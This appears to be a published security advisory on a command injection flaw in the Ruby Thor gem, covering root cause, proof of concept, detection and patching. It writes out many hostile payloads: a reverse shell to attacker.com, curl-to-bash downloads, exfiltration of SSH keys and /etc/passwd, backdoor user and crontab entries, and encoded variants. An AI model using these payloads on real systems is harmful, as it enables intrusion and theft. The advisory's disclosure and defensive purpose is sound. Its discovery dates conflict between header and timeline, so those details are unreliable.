0DAYSECADVISORY

Ruby on Rails Thor can construct an unsafe shell command from library input

Vendor: Ruby on Rails
Affected: Thor gem < 1.4.0
Severity:
High
Patch Status:
Patched
Published: July 20, 2025
Discovered: February 28, 2025
Patched: July 19, 2025

Ruby on Rails Thor can construct an unsafe shell command from library input

Summary

A critical command injection vulnerability was discovered in the Thor gem’s file manipulation methods. The vulnerability allows attackers to execute arbitrary system commands by manipulating input passed to Thor’s utility methods, potentially leading to complete system compromise.

Vulnerability Details

Technical Characteristics

ComponentDetails
Vulnerability TypeCommand Injection (CWE-78: OS Command Injection)
Attack VectorMalicious input passed to Thor’s utility methods
Exploit ComplexityLow (no special privileges required)
Affected ComponentThor’s command execution methods (run, download, etc.)
Privileges RequiredUser executing Thor commands

Root Cause Analysis

The vulnerability exists in Thor’s file manipulation methods where user-controlled input is directly interpolated into shell commands without proper sanitization.

Vulnerable Code (lib/thor/actions/file_manipulation.rb):

def run(merge_tool, destination)
  # 💥 CRITICAL: User input interpolated directly into shell command
  system %(#{merge_tool} "#{temp.path}" "#{destination}") 
end

Exploitation Flow

  1. Input Injection: Attacker controls input to Thor method (e.g., file path)
  2. Command Construction: Malicious input: legit_file; curl http://attacker.com/mal.sh | bash
  3. Shell Interpretation: Thor constructs command:
    diff_tool "legit_file; curl http://attacker.com/mal.sh | bash" "output"
  4. Command Execution: Shell interprets ; as command separator
  5. System Compromise: Malicious script downloads and executes

Proof of Concept

Basic Exploitation

Step 1: Create Vulnerable Thor Task

# exploit.thor
class Exploitable < Thor
  desc "process FILE", "Vulnerable file processor"
  def process(file)
    # Vulnerable method (from Thor source)
    system("echo Processing: #{file}")  # UNSAFE
  end
end

Step 2: Execute Malicious Payload

thor exploitable:process 'legit.txt; echo "Malicious Command Executed" > /tmp/thor_exploit'

Step 3: Verify Exploitation

cat /tmp/thor_exploit
# Output: "Malicious Command Executed"

Advanced Exploitation Scenarios

Scenario 1: Reverse Shell

thor exploitable:process 'file; bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'

Scenario 2: Data Exfiltration

thor task:run 'arg; tar -czf /tmp/stolen.tar.gz ~/.ssh /etc/passwd; curl -F "file=@/tmp/stolen.tar.gz" https://attacker.com/exfil'

Scenario 3: Privilege Escalation

thor task:run 'input; sudo useradd -m attacker -s /bin/bash; echo "attacker:password" | sudo chpasswd'

Scenario 4: Persistence Mechanism

thor task:run 'file; echo "*/5 * * * * root backdoor" >> /etc/crontab'

Obfuscated Payloads

Hex-Encoded Payload:

thor task:run $'file\x0a\x3b\x65\x63\x68\x6f\x20\x22\x42\x79\x70\x61\x73\x73\x65\x64\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x63'
# Decodes to: "file; echo "Bypassed" > /tmp/poc"

Base64-Encoded Payload:

thor task:run 'input; export PAYLOAD="IyEvYmluL2Jhc2gKY3VybCAtTyAvdG1wL2JhY2tkb29yIGh0dHBzOi8vYXR0YWNrZXIuY29tL2JhY2tkb29yLnNoCmNobW9kICt4IC90bXAvYmFja2Rvb3IKL3RtcC9iYWNrZG9vcgo=" | base64 -d | bash'

Impact Assessment

Attack Surface Analysis

Vulnerable MethodAttack VectorRisk Level
system()String interpolationCritical
exec()Unsafe argument passingCritical
%x()Backtick command executionCritical
Process.spawn()Unsafe string formatHigh

Process Execution Context

ContextRisk
Developer WorkstationFull system compromise
CI/CD PipelineBuild server takeover
Production SystemsData exfiltration, ransomware
Containerized EnvironmentContainer escape to host

Business Impact

DepartmentRisk LevelPotential Consequences
SecurityCriticalFull system compromise
LegalHighRegulatory penalties
EngineeringHighCode integrity breach
Customer TrustHighBrand reputation damage

Detection and Forensics

Indicators of Compromise

  1. Process Logs:

    $ ps aux | grep thor
    user  12345  thor task:run 'legit; curl malware.sh | bash'
    user  12346  bash -c curl malware.sh | bash
  2. Command History:

    $ history | grep thor
    456  thor exploitable:process 'file; malicious_command'
  3. File System Artifacts:

    • /tmp/thor_exploit (timestamp matches attack)
    • ~/.thor/exploit.thor (malicious task definition)
    • Unauthorized cron jobs (/etc/cron.d/thor_backdoor)
  4. Network Evidence:

    $ netstat -tulpn
    tcp  ESTABLISHED  192.168.1.5:4444attacker.com:4444

Detection Signatures

Splunk Query:

index=os process="thor" 
| regex command=".*(;|\||&).*"
| table _time, user, command

Auditd Rule:

auditctl -a exit,always -F arch=b64 -S execve -F exe=/usr/bin/thor

Remediation

Patch Analysis (PR #897)

Fixed Code:

def run(merge_tool, destination)
  system(merge_tool, temp.path, destination) # 🛡️ Safe array format
end

Key Fix Mechanisms:

  1. Replaced string-based system() with array format
  2. Arguments passed directly without shell interpretation
  3. Automatic escaping of special characters
  4. Comprehensive test coverage

Security Improvements

Test Coverage:

test "prevents command injection" do
  malicious_input = "legit; echo exploited"
  assert_raises(Errno::ENOENT) do
    run("echo", malicious_input)
  end
end

Post-Patch Behavior:

thor build:merge 'legit.txt; echo exploited'
# Error: No such file or directory - legit.txt; echo exploited

Mitigation Strategies

Code-Level Fixes

  1. Use Array Format for System Calls:

    system('wget', url) # Safe
    system(['curl', '-o', output, url]) # Also safe
  2. Process.spawn with Explicit Arguments:

    Process.spawn('curl', '-o', output, url)
  3. Input Validation with Safelist:

    SAFE_CHARS = /^[a-zA-Z0-9_\-\. ]+$/
    raise "Invalid input" unless input.match?(SAFE_CHARS)

Operational Mitigations

  1. Restricted Execution Environments:

    require 'seccomp'
    filter = Seccomp.new do |rule|
      rule.allow(:read, :write, :exit)
      rule.kill!(:execve) # Block command execution
    end
    filter.load
  2. Behavior Monitoring:

    set_trace_func proc { |event, file, line, id, binding, classname|
      if event == 'call' && id == :system
        puts "WARNING: System call from #{file}:#{line}"
      end
    }
  3. Secure Alternatives:

    require 'open3'
    stdout, stderr, status = Open3.capture3('safe', 'command', 'args')

Complete Exploit Catalog

IDPayloadImpact
EXP-1legit; id > /tmp/exploitCommand execution verification
EXP-2file; curl http://attacker.com/malware.sh | bashRemote code execution
EXP-3path; echo 'exploited' >> /etc/passwdSystem file modification
EXP-4input; tar -czf /tmp/stolen.tar.gz ~/.ssh /etc/passwdData exfiltration
EXP-5arg; sudo useradd -M -s /bin/bash attackerPrivilege escalation

Timeline

  • 2025-02-02: Vulnerability discovered during security research
  • 2025-02-02: Initial report sent to HackerOne Ruby on Rails
  • 2025-02-05: Vulnerability confirmed by development team Thor maintainers
  • 2025-07-19: Patch development completed
  • 2025-07-19: Security fix released in Thor v1.4.0
  • 2025-07-20: Public disclosure and CVE assignment

Affected Methods

The following Thor methods were identified as vulnerable:

  1. FileManipulation#run
  2. FileDownloader#download
  3. Actions#run
  4. Actions#run_ruby_script

References

  1. Thor PR #897 - Fix Command Injection
  2. CWE-78: OS Command Injection
  3. OWASP Command Injection
  4. Ruby Security Guidelines

Acknowledgements

This vulnerability was discovered and reported by @odaysec security research team. Special thanks to:

  • Thor maintainers for prompt response and remediation
  • Ruby Security Working Group for guidance
  • Rails Security Team for coordination